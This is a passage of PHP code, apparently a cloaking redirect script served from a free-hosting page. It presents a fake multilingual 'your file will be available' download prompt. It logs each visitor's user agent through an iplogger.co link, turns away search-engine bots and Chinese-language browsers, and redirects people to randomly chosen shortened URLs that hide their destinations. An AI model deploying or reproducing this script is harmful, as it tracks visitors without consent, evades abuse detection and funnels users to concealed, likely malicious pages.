true, // Enable redirect 'blocked_bots' => true, // Ban for search engine robots 'blocked_languages' => ['zh'], // Blocked browser languages 'redirect_delay' => 1, // Delay before redirect (in seconds) 'desktop_links' => [ 'https://surl.li/voowvx', 'https://surl.li/ehwtec', 'https://surl.li/kavstl', 'https://shorturl.at/3GeaZ', ], // PC Links 'mobile_links' => [ 'https://surl.li/ehwtec', 'https://surl.li/kavstl', 'https://shorturl.at/3GeaZ', ], // Links for mobile 'confirmation_required' => true, // Show form before redirect 'download_file' => 'example.zip', // File for download via the button 'log_service' => 'https://iplogger.co/1uXPL4', // Logging via iplogger.org 'text_content' => [ 'en' => ['title' => 'File will be available in', 'message' => 'Please wait or click the button below to download the file.'], 'ru' => ['title' => 'Файл будет доступен через', 'message' => 'Пожалуйста, подождите или нажмите кнопку ниже, чтобы скачать файл.'], 'es' => ['title' => 'El archivo estará disponible en', 'message' => 'Espere o haga clic en el botón de abajo para descargar el archivo.'], 'fr' => ['title' => 'Le fichier sera disponible dans', 'message' => 'Veuillez patienter ou cliquez sur le bouton ci-dessous pour télécharger le fichier.'] ] ]; // Visit logging via cURL function log_visit($url) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']); curl_exec($ch); curl_close($ch); } log_visit($config['log_service']); // Check the bot if ($config['blocked_bots']) { $user_agent = strtolower($_SERVER['HTTP_USER_AGENT']); $bots = ['googlebot', 'bingbot', 'yandexbot', 'baiduspider', 'duckduckbot']; foreach ($bots as $bot) { if (strpos($user_agent, $bot) !== false) { die('Access Denied'); } } } // Determining the browser language function get_browser_language() { return substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 2); } $lang = get_browser_language(); $text = $config['text_content'][$lang] ?? $config['text_content']['en']; if (in_array($lang, $config['blocked_languages'])) { die('Access Denied'); } // Device definition $is_mobile = preg_match('/(android|iphone|ipad|ipod|mobile|blackberry|opera mini|iemobile)/i', $_SERVER['HTTP_USER_AGENT']); $redirect_links = $is_mobile ? $config['mobile_links'] : $config['desktop_links']; $redirect_url = $redirect_links[array_rand($redirect_links)]; // Form before redirect if ($config['confirmation_required']) { echo " {$text['title']} {$config['redirect_delay']} секунд

{$text['title']} {$config['redirect_delay']} секунд

{$text['message']}

Free Web Hosting
"; exit; } // Waiting before redirecting sleep($config['redirect_delay']); // Redirect after delay header("Location: {$redirect_url}"); exit;